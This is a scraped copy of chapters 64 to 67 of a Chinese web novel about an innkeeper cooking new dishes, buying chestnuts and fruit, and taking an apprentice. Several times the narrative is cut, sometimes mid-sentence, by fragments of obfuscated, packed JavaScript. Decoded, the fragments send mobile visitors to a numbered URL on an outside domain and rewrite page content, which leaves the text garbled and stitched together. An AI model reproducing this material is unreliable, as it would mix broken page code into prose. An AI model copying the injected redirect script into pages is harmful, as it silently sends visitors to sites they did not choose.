RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16441669|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完一个蛋，郑桂兰感叹道：“怪不得大户人家都很爱吃茶，果然很好吃。” 程勇摇摇头道：“好吃是因为云娘子放了香料，这一锅所有的鸡蛋加起来都没她放的那点香料贵。” 云音：“程哥说的不错，确实是这样的，不过这料汁保存好可以再用好几次呢，算下来也不算特别贵了。” “云娘子想卖这个蛋？” “有人想买，我就卖呗，三文钱一个蛋，张林那边的面条可以配这个蛋卖。”想到前面的饭摊，云音询问众人，“张林昨日跟我说起，前面饭摊品种太少，食客吃腻了也不爱来了，他想增添种类，你们爱吃什么早食，说出来我参考参考。” 郑桂兰第一个摇头道：“我们早食能吃一碗菜粥已经是很好的伙食了，我真不知道有什么好吃的。” 程勇想想后道：“我们平日吃的大多是胡饼，粥和馒头包子这些，再就是面条，其他的我一时也想不起来。” “可以做馄饨。”冯海在一旁道，“这个做起来简单，张林一个人也能忙得过来，我们可以帮忙包馄饨，他负责煮，而且煮面条用的高汤也能用得上。” 大昭的馄饨就是饺子，并不是现代皮薄肉多的馄饨，只要是用面皮裹馅水煮的他们一律称馄饨，云音想到酸菜饺子，还能用草菇做馅，她颔首道：“那就做这个吧，正好最近收的草菇挺多的，也可以做些。” 云音看着桌上的人问：“马浩去哪里了？怎么没来吃饭？” 程勇拍拍脑子道：“忘记跟你说了，我让他回一趟绵州，过两天他便回来了，镖局有些事要交代一二。”说到这里他又想起一事道，“对了，云娘子，你客舍有准备草料吗？若是有客人需要草料，你这边也要提供吧。” 云音：“确实要准备一批，之前饭摊是没准备草料的，现在还是要准备一些，程哥，你知道哪家卖的草料不错？” “县里向家马行的草料不错，他们用的苜蓿，辅以大豆作为精料，是不错的草料，价格也还算实惠，我可以给你引荐，让他们给你个优惠价。” “那就多谢程哥了，我明日便去，早点把这些准备好，说不定过两天就有人要住宿了。” 云音的客舍才开张不久，虽然会有部分过路行商路过吃饭，但住宿还真没人来，大部分是不知道这里开了客舍，所以没有把这里定为落脚点，另一部分则是因为还不了解客舍的具体情况，不敢随意住宿，怕遇上黑店。 大昭的黑店其实还挺多的，云音之前听傅望讲过，不久前也听程勇讲他们走镖的事情，所以也知道了些，出门在外，一定要十分小心，否则人财两失。 所以云音也不着急，只要客栈开的久，口碑口口相传，总会吸引越来越多的人前来光顾。 她准备好一切，静静等待，她既不欠钱，手里还存了些钱，只要每个月都有人过来定制宴席，她也能维持客栈成本，所以云音的心情很放松，现在冯海也能帮她忙，她越来越轻松。 64. 第64间客栈 云音教冯海炒菜技巧，他很快便掌握其中精华，目前一部分菜由他负责，她则更加偏向宴席菜，她拿着重新抄录的美食食谱，上面记载着不少她还没做过的菜色。 比如红楼梦里的酒酿清蒸鸭，还有酸笋鸡皮汤，她之前只是记录做法，还没来得及试着做一做，不知道吃起来是什么味道，今日闲着没事做，正好可以先做一点酒酿，之后试试酒酿清蒸鸭。 酒酿做起来很简单，只要有酒曲，随时都能做，云音去厨房把糯米淘洗几次，然后拿去一旁泡一会儿，泡糯米的时候她去杀了一只鸡，取带皮鸡胸肉，剩下的鸡肉拿去煲汤。 酸笋鸡皮汤里的酸笋，云音用之前腌制的酸笋，之前腌制的酸笋她一直没有开封，现在还放着库房里，当时本来想做螺蛳粉的，可没有辣椒的螺蛳粉吃着不够过瘾，茱萸的辣她还是觉得不够味，她便没做。 酸笋只要没开封，能存放很久，云音去库房搬了一坛酸笋，开坛从里面取出酸笋，清洗后拿去切丝。 正在炒菜的冯海闻到这股酸味，快速炒完菜看向云音：“云娘子这是你春天泡的笋？闻着很酸啊。” 云音颔首道：“是啊，春天做了不少，一直没拿出来做菜，今日试试这道菜，我之前没做过，不知道味道怎么样。” 酸笋腌制出来其实并不臭，但闻起来特别酸，云音拿一条丝尝了一口，牙齿都要被酸掉，实在太酸了。 云音把这酸笋拿去泡一会儿，不然这酸的完全没法吃，若是不想酸笋太酸，可以少泡一会儿。酸笋泡着，带皮鸡胸肉切成薄片，生姜切片，然后把泡过的酸笋焯水，放入小釜里，加入生姜，倒入煮好的鸡汤，大火煮沸后小火焖煮，最后切一点芥菜梗放到锅里煮熟，加入盐和葱花即可。 她用小碗盛了一碗汤喝了一口，泡过一段时间的酸笋没有那么酸，微微的酸味融入鸡汤，非常开胃，酸笋吃起来刚刚好，有一点酸味，但不会难入口，汤里的鸡肉反而没那么好吃，倒是吸入了鸡油的芥菜很清甜。 看着锅里的芥菜，云音喃喃自语道：“是时候该做酸菜了。” “云娘子要做酸菜吗？这个我也能做。”冯海把灶台收拾干净，对云音道，“什么时候做？我也来帮忙。” 云音：“过两天吧，霍老说要带他娘子过来吃饭，等接待完他们，我们再做酸菜。”她把这锅汤放到一旁道，“我去炒几个菜，中午随意吃点吧。” 冯海闻着空气中飘散的酸味和鸡汤香，摇头道：“云娘子这可不是随便吃点，这汤闻着都很好吃。” “你可以先尝一碗，我煮了挺多，够大家喝。” 云音让冯海自便，她去做了个红烧茄子、毛豆炒肉、红烧冬瓜、清炒莲藕，最后再来一个红烧鱼块。 “桂兰，可以吃饭了。” 郑桂兰从外面进来，把菜端到大堂，又让方荷去叫张林，她则拿碗筷和盛饭。 冯海把酸笋鸡皮汤端出来时，还在吃饭的客人闻到这股味道，好奇道：“云娘子，你这是做的什么菜？” 云音：“是我新做的菜，今天试试味道，若是不错，日后也会加入食单。” 那客人嗅了嗅这酸味，“是酸菜的味道吗？但是闻着不像啊。” “是酸笋啦。”云音给他盛了一碗，“你也尝尝，省得你一直惦记。” “云娘子可真了解我。”他小心翼翼把汤放回桌上，盛一碗尝了口，眼睛顿时放大，那股酸味顺着喉咙滑入胃里，瞬间打开他的味蕾。 “云娘子，你这汤很开胃啊。”他又喝了一口，“喝完这碗汤，我感觉能吃好几碗饭。” 云音坐下吃饭，回他道：“喜欢就好，那我可以考虑把这道菜加入食单里。” 他连连点头道：“嗯，这道汤特别适合食欲不振的人喝，或许醉酒的人喝也不错。” 云音笑笑没回他，这道汤在红楼梦里确实作为解酒汤，她只是想尝尝这道菜是什么味道，试过后确实很好喝，她对酒酿清蒸鸭更加期待。 酸笋鸡皮汤入了食单后，很多人都很喜欢这道酸酸的汤，云音决定再次泡一些酸笋，秋天也是有笋的，只是笋的品种没那么多，龙安县附近便有秋天能吃的笋，只是比不上春笋和冬笋鲜嫩，但是掐嫩芽也还是很嫩，拿来泡酸笋味道也不差。 不过云音没时间进山掰笋，只好拜托过来卖蛋蔬的村民，让他们进山时掰一些笋卖给她，云音则和冯海一起做酸菜。 钱嫂子过来时正好看到云音在做酸菜，她快步上前帮忙道：“云娘子，我来帮你。” 云音看到钱嫂子也很惊讶道：“钱嫂子怎么今日有空过来？” 钱嫂子把篮子放下道：“这不是板栗熟了，我来给你送点，你之前送我们的月饼我阿翁特别喜欢，他也让我过来谢谢你，所以来看看。” 云音看着一篮子板栗道：“这多不好意思，这板栗拿去卖能卖不少钱吧，你儿子正在读书，以后用钱的地方多着呢。” 钱嫂子帮忙云音把清洗后的芥菜晾到竹干上，对她道：“这都是山里长的，不值多少钱的，我们家也没什么好东西，想着你最近忙，应该也没时间去山里，所以摘了一些给你送来。” 云音晒好芥菜，拿一颗板栗咬碎尝了一口，她挑眉道：“这板栗挺甜的，怎么会不值钱？” 钱嫂子叹气道：“云娘子你不知道，这栗子我们这边山里很多，很多人都捡了去卖，自然卖不上什么价格，不过自己吃拿去送人还是很拿得出手的。” “钱嫂子你最近忙吗？”云音看向她道，“若是你有空可以多找些栗子卖给我，我这里需要栗子。” 钱嫂子看着地上一大篮子问：“这些还不够你们吃？”她不赞同道，“栗子吃多了肚子会不舒服的，一天不能吃太多。” 云音：“我知道，不过我要做些点心，所以需要栗子。” “难道你要做栗子糕。”钱嫂子很好奇，不过也没有继续追问，“你要做点心确实需要不少栗子，行，我知道了，我回去村里说一声，让她们没事时也去山里捡栗子。” 云音：“你跟他们说，我按照市价收，有多少要多少。” 送走钱嫂子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450673|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，云音把栗子放到厨房，回来继续腌酸菜，所有酸菜装到坛子里，她拍拍腰，起身去厨房处理栗子。 栗子能做的美食实在太多了，什么糖炒栗子、栗子焖鸡、栗子红烧肉、栗子糕等等，都是又好吃又不难做的美食。 今天天快黑了，云音也不打算做什么复杂的，直接水煮一锅，直接吃也很好吃，软软糯糯非常适口，若不是栗子吃多了胀气，她一个人能吃一大盘。 云音端着煮好的栗子去了大堂，问正在核对账目的程勇道：“程哥，吃栗子吗？” 程勇抬头看向面前开花的栗子，感叹道：“都到吃栗子的时候了，我吃一点吧。” 云音把另一份栗子送到宋时面前道：“你今日休沐吗？这个时候过来，晚上是不打算回去了？” 宋时拿起一颗栗子剥皮吃下，软糯甜香的栗子抚慰他的心灵，他长叹道：“今天不想回去，我在这里住一晚，有房间吧。” 云音颔首道：“有呢，你随便住，厢房还没人住呢。” 宋时：“这都多久了，竟然没人住宿吗？”他惊讶看向云音，“你竟然一点也不着急，你知道县城里已经有人卖你做的奶茶了吗？” 这云音倒是第一次听说，她坐到宋时身旁道：“仔细说说，什么情况？” 宋时绘声绘色道：“我也是听学里同窗说的，他说县里开的那家饮子铺最近新出的奶茶特别好喝，还邀请我去吃，我一听这名字，跟你之前送我们的奶茶不是一个名字，我便于他去看个究竟，没想到竟然与你送来的奶茶很相似，只是味道不及你调的好喝，但我同窗们都说很好喝。” 云音听他说完，耸耸肩道：“这也没办法，奶茶制作其实挺简单的，只要喝过大致便能知道怎么做，只是每一家的口味略有不同，有人卖就随他们去吧。” 宋时恨铁不成钢道：“这怎么成？他们这是学你，你又不在县里卖这东西，导致很多人都以为是那家饮子铺研制出来的。” 云音也不能告诉他，这奶茶也不是她研究出来的，不然他一定打破砂锅问到底，她只能笑笑道：“奶茶要用牛奶制作，我能得到牛奶，还是跟夏娘子做了交易，那些牛奶也就够我店里使用。” “你也不用忧心这些，夏小娘子她们还是会找我买，我不会少赚一文钱的，那家饮子铺能弄到新鲜牛奶，也是他们本事，你们平日想喝也方便不是？” 宋时叹气道：“那倒是挺方便的，谁让你不愿意去县城开店呢，只能便宜别人了。算了，既然你都不在意，我也没什么好在意的，我只是有些气愤。” “多谢你替我着想，确实不用担心，难道别家的饮子铺不会上这奶茶吗？只要卖的好，其他店铺也会一起上的，大家一起公平竞争嘛。” 宋时听到这里也明白过来，他颔首道：“你说的不错，说不定我明天回去就能听到这个消息，算了，不说这些了，最近心情不好，来找你聊聊天。” 程勇坐在柜台看着这边，皱了皱眉一直盯着，也不知云娘子与这宋郎君是什么关系，傅望那小子不会被捷足先登吧。 65. 第65间客栈 云音好奇问：“你最近咋了，难道是罗娘子的事情？” 宋时摇头道：“我都好久没去找罗娘子，实在不知该怎么跟她说，之前谢彦说我没有养家的本事，我想着替你画的画你很喜欢，这次特意回去画了些画卖，竟然没有一个人买。” “我阿耶还把我骂了一顿，说我一点读书人的风度都没有，竟然沾染商贾之事，让我不要再做这种事情。”他垂头丧气道，“可我娘也经营铺子啊，我爹还是主簿呢，竟然不允许我卖画。” 云音吃完一颗栗子，好奇道：“你卖的什么画？” 宋时：“风景画，花鸟画这些啦，结果却卖不出去。” 云音沉思片刻后道：“宋郎君，我有个想法，不知你愿不愿意。” 宋时意外看向云音，“云娘子有什么便说，我们之间还用拐弯抹角，只要我能做到，我肯定愿意帮忙的。只是我能力有限，很多事情办不到。” 云音指指墙壁道：“宋郎君，你看到没，这墙壁一点装饰也没有，看着白净，但也很素淡，我想让你在上面画上几幅画，如何？你可以随意画，只要帮我画上店里的招牌菜，价钱好说。” 宋时想想后道：“我没画过壁画，不过我可以试试。重阳节我们休沐一日，我可以过来看看，剩下的要等我之后休沐日才能过来。” 提到重阳节，云音问：“重阳节你不陪家人登高？” 宋时摇头道：“不了，他们自己去吧，想爬山，云娘子这里也能爬，让我大哥陪他们去吧，我去了他们又要念叨我，我可不想与他们吵架。” 和宋时约定好，云音便打算回厨房，路过柜台时，程勇好奇问：“云娘子找宋郎君做什么？说了这么久。” “哦，让他帮我画些画，程哥账目核对完啦？” 程勇放好账册，咳了一声道：“嗯，也没什么要核对的，我正看住宿人员登记册呢，这个到时候要拿去给里正核实的，还是要认真些。” 云音一头雾水道：“不是还没有人住宿吗？” “宋郎君今日不是要留宿吗？”程勇盯着云音道，“要把他记上吧。” 云音想想后道：“记上吧，不管是不是熟客，都记上。” 程勇笑道：“那我就明白了，你放心吧，云娘子去忙吧。” 过了几天，云音做的酒酿已经出酒，喝一口甜甜的，酒味并不浓郁，她拿着册子看着酒酿清蒸鸭的做法，听到郑桂兰嘀咕道：“霍老他们最近怎么没来了，之前不是每隔一天都回来的吗？” 提到霍宇，云音也有些担忧，她放下书册愁眉道：“是啊，他还说要带娘子过来，也不知因为什么事情耽搁了。” 也没过多久，她也不好派人前去询问，只能做好自己的事情，等他们来时，能做出更多好吃的美食。 清洗干净的鸭子去掉头尾放入锅里，云音往里面加入热水和葱姜盐，大火煮开后撇去浮沫，煮熟后捞出剔骨。 剔骨要趁热剔，云音拿着刀快速把鸭骨剔出来，这骨头可以拿去熬汤，剩下的肉用酒酿腌制，因为要让酒味侵入鸭肉里，所以腌制时间要长一点。她把装着酒酿鸭的碗装到篮子，放入井里冰镇，又从井里取了葡萄，这时候的葡萄很甜，一颗颗圆滚滚的紫色晶莹剔透，上面沾染上点点滴滴的水珠，衬得葡萄更加让人垂涎欲滴。 她拿起一颗葡萄吃下，酸酸甜甜的汁水在嘴里融化，她眯了眯眼睛道：“这葡萄口味真的挺好吃的，看来要找郑东再买一点，做一些葡萄干保存。” 她拿着葡萄进了大厅，见郑桂兰正在打扫，她叫道：“桂兰，你今晚回去跟郑东说一声，我这里还需要些葡萄，让他明天送你们过来时，一起装上，我想做点葡萄干。” “云娘子也要做葡萄干啊。”郑桂兰颔首道，“我会跟郑东说的，我们村里往年也会做葡萄干，今年或许做的人没那么多了。” 云音挑眉看去，郑桂兰继续道：“这不是托云娘子的福，今年村子里的水果卖到县里大户人家里，往年是因为没人要这些水果，所以才会做成水果干，今年他们怕是不舍得了。” 云音明白过来，问郑桂兰：“我记得之前你们村不是只有几个人愿意出钱租船吗？没有闹起来吗？” 郑桂兰激动道：“怎么可能没闹起来，还有人想来找娘子呢，还是郑东拦下了，最后也是他决定让那些人补钱，船也能借给他们用，不过县里大户那里要不了这么多水果，他们只能走街串巷贩卖。” “即便这样，也比往年好多了，他们倒是想把水果卖给大户人家，可郑东已经跟大户人家里的采买打好关系，其他人想卖也越不过他，他们也没办法，所以这事也就这样了，他们想闹也闹不起来。” 云音颔首道：“那你没想着也种点水果卖吗？” 郑桂兰摇头道：“我之前只是想多攒些钱，所以才想卖水果，其实我并不擅长种水果，而且如今阿荷跟着娘子，能学到很多，娘子给的工钱够我养活她，日后她学到本事，一切还要靠她自己。” 她抿抿嘴，斟酌片刻后道：“云娘子，你之前说不收徒，可你教阿荷这么多，还是应该让她给你行拜师礼，叫你一声师父的。” 师父吗？她之前从没想过要收徒弟，云音看着在院子里扎马步的方荷，看着她仿佛看到曾经的自己，她沉思片刻后道：“也好，那就收下她吧，这段日子以来，她很努力，也从不叫苦，我教的她能很好掌握，有她这样一个乖巧听话的徒弟，也是我运气好。” 郑桂兰兴奋道：“哪里，阿荷能有你这样的师父才是运气，那我要好好准备拜师礼，这段日子多亏云娘子，日后我一定让阿荷奉养你。” 她说着说着往外跑去，云音没来得及说不用太过浓重。 正在苦苦支撑的方荷，听到娘亲告诉她的消息，一下子坐倒在地，期盼看着娘亲，“阿娘，你说真的吗？云娘子收我做徒弟了？” 郑桂兰把她拉起来，给她擦了擦汗水，颔首道：“是呢，云娘子已经答应了，你以后更要好好听她的话，日后给她养老知道吗？” 方荷使劲点头道：“我知道的，我去找师父。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456191|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 马浩回来时，便听说云音收了方荷做徒弟，他把马放到马厩里，从荷包里拿出一个玩具递给方荷道：“我也没提前做准备，这是从绵州带来的玩具，当作你拜师的礼物吧。” 方荷拿着做的精巧的陶瓷人偶，笑眯眯道：“多谢浩伯伯，我很喜欢。” 云音听到马浩的声音，出来第一眼看见马厩里多的两匹马，她诧异道：“你事情办完了？怎么还带回来两匹马？” 马浩从怀里拿出一个条子道：“云娘子，这个给你，我们老大离开前联系绵州的商铺，他们需要蘑菇酱，你这边能做出来吗？” 云音拿着契书看，上面写了数量和售卖价格，比她卖的贵十文，数量也有两百坛之多，素蘑菇和肉蘑菇各一百坛。 她喃喃道：“傅望离开前还不忘我的蘑菇，真不是该怎么谢他。”她收好契书，看到几人从外面进来，穿着打扮与马浩他们相似，她对马浩道，“这样吧，我尽快把蘑菇酱做出来，不过我还是按照之前卖给你们的价格给你们，其中的利润算是你们运货的费用，如何？” 程勇从柜台后走出来，对云音道：“那就多谢云娘子，这价格可比我们平日走一趟贵，从龙安县到绵州距离也不远，我替兄弟们谢你。” 云音摆摆手道：“是我要谢你们。” “对了，你们镖局的招牌呢？我怎么没看到你们摆出来？” 马浩从怀里拿出旗帜道：“在我这里，我从绵州带过来的，可以挂在外面。” 撑开的旗帜上面龙飞凤舞写着威远二字，另一面写着镖字，她挑眉问：“威远镖局？这字谁写的，很有气势。” 程勇帮忙马浩挂着旗帜，笑道：“是傅望的一个朋友，我也觉得写的很有气势。” 云音看着随风飘荡的镖旗，满意道：“这样也算打出招牌了，看看之后有没有人来问吧，你们平日也可以向食客推荐镖局。” “对了，你们如今镖局走那条道？” 程勇：“我之前与傅望商量过，暂时只走龙安县到绵州，等傅望他们回来，再接去长安西域的。” 云音表示明白，她招呼马浩道：“你们还没吃吧，我去给你们做点吃的。” 冯海端着菜从厨房出来，“云娘子，不用麻烦了，我随便抄了些边角料，已经炒好了。” 他招呼马浩几人，在大堂一角找了个位置坐下，几个人吃着冯海做的菜，马浩感叹道：“几日不见，老海你厨艺进步飞快啊。” 冯海瞥他一眼道：“好好吃饭，别说话。” 云音见他们吃上，去水井里取出腌制好的鸭子，继续做酒酿清蒸鸭。 腌好的鸭肉切成丁，装入盘里倒入剩下的酒酿，放入蒸笼蒸熟，一打开清香扑鼻，淡淡酒味萦绕四周，酒味散后留下一股清甜的味道。 云音撒上枸杞，端上这碗酒酿清蒸鸭去了大堂，照顾众人道：“过来尝尝这道菜。” 程勇率先落座，夹起一筷鸭肉吃起来，其他人也不遑多让，立刻品尝起来，云音也坐下夹了一块鸭肉放入嘴中。 66. 第66间客栈 鸭肉一接触舌头，一股甜甜的米酒味充盈嘴里，酒味很淡，更多的是米酒的清甜，鸭肉浸满米酒，与之相融合，鲜香嫩滑，一点鸭肉的腥气也没有。 清淡却不寡淡，香甜却不甜腻，非常清爽和细腻，即便是云音这样爱吃辣的人，对于这道菜也很喜欢。 看程勇他们的表情，也很喜欢的样子，程勇道：“味道很鲜，与米酒融合的很好，云娘子可以把这道菜加入食单里。” 冯海也点头道：“食材简单，追求食物本身味道，吃起来也很甘甜适口，酒味也淡，老人也能吃。” 云音道：“行，我知道了，那食单里加上这两道菜。” 冯海问：“云娘子，你打算加到哪个宴席里？” “放到五贯钱的宴席单里吧，不过若是有单独点单也可以的。” 程勇拿出木牌把这两个菜写下，挂到柜台后面的墙上，看着这些蘑菇的木牌问：“云娘子，现在还有那么多蘑菇吗？你不是要做蘑菇酱吗？是不是不做这道菜了？” 云音：“蘑菇够用的，除了山里的那些，还有附近村子里种的草菇，虽然还不能大量种植，但也能补充一部分。我之前去村里看过，做的有模有样，我们可以趁着这段时间天气好，多晒些干蘑菇，之后也有蘑菇能用。” 程勇：“那行，我知道了，我跟张林说一声，让他在饭摊那边多收一些蘑菇。” “饭摊那边早食卖的情况如何？”冯海好奇问，“吃馄饨的人多吗？” 云音颔首道：“还不错，现在吃馄饨的人比吃面的多，可能馄饨有肉有菜的缘故，他们更爱吃。” 九月九登高日，重阳节这一日出门踏青登高的人特别多，云音一大早就看到宋时一行人过来，不仅他来了，谢彦几人也来了。 云音好奇道：“你们今日都不与家人登高吗？” 谢彦从车里接下宋萱，颔首道：“我今日是陪静萱，顺便来看看你。而且你这里的风景也不错，想要登高，去后面山上领悟自然风光也不错，不必非得去爬那几座有名的山。” 宋萱走到云音身旁坐下，揭短道：“他只是不想被家人带去寒暄罢了，每年这个时候都要被他家人拉去撑场面，他早烦了，特意约我出来，还跟我家里人说培养感情。” 谢彦坐到她身旁问：“难道我没陪你吗？” 就在他们二人拌嘴时，一阵马蹄声在外面响起，还未见其人便听到汪钰那滔滔不绝的声音响起：“你们信我的，这里风景绝对好，不仅能吃到独一无二的美食，还能赏到不一样的风景，这不比去青桐山要好。” 汪钰带着这群人进来，一眼看到谢彦等人，他挑眉道：“哟，挺巧的呀，今日你们也来这里登高。” 谢彦与他行礼，又与沈容几人颔首，“确实挺巧的，我听说你们学里组织一起登高，怎么你们没去？” 汪钰一屁股坐到谢彦身边，撇嘴道：“我可不愿意去，又不是真的去登高，我何必去凑这个热闹。” 沈容对云音行礼后坐到另一边，与宋萱问好后看向谢彦，“你们学里不也有活动，你们怎么也没去？” 谢彦没回话，宋时耸耸肩道：“我是有事找云娘子，至于他们，跟你们一样呗，不想应酬。” 云音见他们聊的还挺愉快，去厨房拿了重阳糕出来，递给众人道：“请你们吃重阳糕，也算应景了。” 几人道谢后坐在一旁闲聊，林晖看到柜台后面挂着的木牌，问云音：“云娘子，酒酿清蒸鸭和酸笋鸡皮汤是新菜吗？我之前来没见着。” 云音颔首道：“是新菜，你们要试试吗？” 宋时不打扰他们说话，与云音说了一声，便去查看墙壁情况，云音继续与他们聊天。 云音正与他们聊得开心，听到有人叫她名字，她回头看去，笑起来道：“霍老您来了？你们今日也来这里登高啊。”看着他身旁站着的一位温婉女子，对她笑笑道，“您便是林娘子吧，初次见面，欢迎您过来玩。” 林芸颔首道：“我可不是第一次知道你，老是听霍郎提起你，今日总算见面了。” 听到熟悉的声音，林晖抬头看来，脸色瞬间变化，起身上前行礼道：“姑姑，您今日也来了。”又对霍宇行礼道，“见过姑父。” “林晖你也在啊。”林芸看向宋萱道，“我昨日还听你母亲提起，你今日要跟谢彦出去玩，原来是来云娘子这里。” 宋萱和谢彦也上前行礼道：“见过姑姑。” 林芸和宋萱与谢彦的母亲是手帕交，所以他们也随林晖叫一声姑姑，见过长辈，二人回了座位，不打扰云娘子与长辈聊天。 云音：“怎么今日没看见霍辰？” “他娘子怀孕了，这段时间要照顾她，应该有很长一段时间不会过来了。”林芸对云音解释道。 霍宇让婢子把两盆菊花搬过来，对云音道：“我看你院子里没有菊花，重阳节赏菊，我给你带了两盆，也感谢你之前对我们的照顾。” 云音收下菊花，感谢道：“有您这样的食客，是我这个厨子的福气，多谢您送的菊花，我请你们吃重阳糕。” 她重新端来三份重阳糕邀请他们吃，又对霍宇道：“这里面有一份是栗子馅的，你们不要吃太多，不然容易不消化，另外一份是红豆沙馅的，还有一个是没馅的，你们可以随意挑选。” “对了，我最近新做了两道菜，霍老你们可以尝尝。”云音指着后面墙上挂的食单道，“除了这两道菜，今日特色菜是鱼脍，你们若是喜欢吃鱼生，可以试试。” 最近是吃鲈鱼的最佳时间，云音从山里的湖泊里捞了不少出来，之前养在渔网里的鱼已经有了不少，这些鱼够今年她用了，在云音把这座山买下来前，她不打算养太多，以免为他人做嫁衣。 霍宇：“现在是吃鲈鱼的时候，那给我们来一份吧，你说的新菜也来一份。” 云音回厨房给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462270|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们做菜，林芸尝了尝重阳糕点头道：“糕点与我平日吃的不同，没那么甜，但也很好吃。” 霍宇笑道：“我都说了，云娘子做菜很好吃的，早让你与我来，你迟迟不来。” 林芸叹气道：“阿辰的娘子怀孕，我总不能当甩手掌柜，家里的事不还是要我打理，她最近胃口也不好，不知云娘子有没有什么办法。” 所有菜做完，云音端着最后一盘青菜过来，听到她的询问，她想想后道：“你尝尝这个酸笋鸡皮汤，如果是不开胃，吃点酸的或许能打开胃口。” 林芸尝了尝这碗酸笋鸡皮汤，确实十分开胃，她点头道：“或许可以试试，她之前特别喜欢吃你家的蘑菇酱，可我担心吃多了不太好，最近一直让她少吃些，能吃些新鲜菜还是更好。” 云音颔首道：“若是娘子能吃鱼，吃些清蒸鱼其实更好，酸笋也不能多吃。” 林芸摇头道：“不行啊，她吃不下鱼，闻到味道都反胃，特别喜欢吃酸的，但又不喜欢家里做的蜜饯，买回来的蜜饯也不见她喜欢。” 云音想想后道：“我之前做过一次话梅，酸酸甜甜还算开胃，林娘子可以带点回去试试。” “不能吃鱼的话，鸡和大骨都是很好的食材，最近是采摘栗子的时候，栗子烧鸡也是一道不错的菜，还有莲藕也有人售卖，可以拿来煲汤喝。” 云音说着又想起一道菜，她这边没有，但霍家肯定能买道，她继续道：“你们能买到山药的话，可以买些山药炒木耳，也是一道很清爽的菜色。” 林芸认真听着，她记下这些菜色点头道：“我回去让厨娘试试，等会麻烦云娘子再帮忙做一份酸笋鸡皮汤，我带回去让她尝尝。” 云音应下，不打扰他们用膳，走到院子里，把晾晒的葡萄翻了个身，让它们继续风干，直到彻底变成葡萄干。 “云娘子，过来一下，前面有人卖石榴和橘子，你要不要去看看。”郑桂兰站在前方询问。 云音擦了擦手随郑桂兰往官道边走去。 自从这里人来人往后，很多村民拿着些瓜果蔬菜来卖，云音他们有时候缺少蔬菜，不用再前往镇上便能买到，更不用说水果了，很多村民都会过来询问她需不需要，若是不要他们再送往县城。 云音的客栈离他们村子还是更近些，能卖给她，总比挑着水果走一个多时辰去县城，还要交入城费和摊位费，哪怕是镇上也比到云音这里远，而且每次云音买东西都是按照市价给钱，他们也都愿意卖给她。 云音与郑桂兰走到那群村民面前，蔬菜这些自不必说很新鲜，那篮子里的石榴也又大又红。 “老丈可以尝一尝吗？” 那人颔首道：“云娘子尝吧，你尝了就知道，我们家的石榴不会差的。”这人也知道，不管云音最后买没买，吃了的都会付钱。 云音随意挑了一个石榴，剥开红彤彤的石榴皮，露出里面如同宝石般璀璨的石榴。 67. 第67间客栈 石榴肉很饱满，一颗颗布满整个石榴，云音剥了些放入嘴里，汁水很甜，正如那老丈说的，很不错。 云音买了一些石榴，这时又来一人，挑着一篮子橘子，对她道：“云娘子，橘子要不要？” 龙安县这片地区盛产橘子，几乎家家户户都有种橘子，乐桃村里也种的有，不过这时的橘子还是青的，吃起来还比较酸，郑东便没给云音送。 云音看着他框里青青的橘子，挑眉问：“这橘子看着很酸啊？” “不酸，一点都不酸，云娘子你可以尝尝。” 云音虽然有些迟疑，但还是拿起一个橘子剥起来，洁白的手指上沾染黄色的汁水，她拿起一瓣橘子肉吃起来，一入口她便感受到一股酸味，她吐了吐舌头道：“这也太酸了吧。” 那人也尝了一瓣，津津有味吃完，疑惑道：“明明不酸啊？” 其他人闻言也过来尝了一瓣，卖石榴的人道：“老何，你这橘子也太酸了，你竟然还说不酸，这是你们家种的橘子？还是等黄了再卖吧。” 老何看着这一篮子橘子皱眉道：“你们都觉得很酸？可我和娘子都觉得青橘子不酸，所以才摘了打算卖一些。”他泄气道，“若不是家里要用钱，我也想等橘子黄了再卖。” 云音听到这里，想想后道：“我给你介绍一个客户，他们家说不定需要。”她对郑桂兰示意，让她去找林芸的婢子，让她过来瞧瞧。 这时又有一人带着一篮子水果过来，那人看着郑桂兰的背影陷入疑惑，还是云音的问话打断他的沉思。 “你这柿子怎么卖的？” 那人回神道：“不贵，三文钱一斤，云娘子要多少？” 云音：“我都要了。” 看到柿子云音便想到柿饼，这些柿子不是脆柿子，熟透后肉质软糯流汁，这样的柿子拿去晒柿饼，又甜又软糯，能一直吃到明年去，她看着这一框并不算多的柿子，问他：“只有这些吗？若是还有多的，我这边都要。” 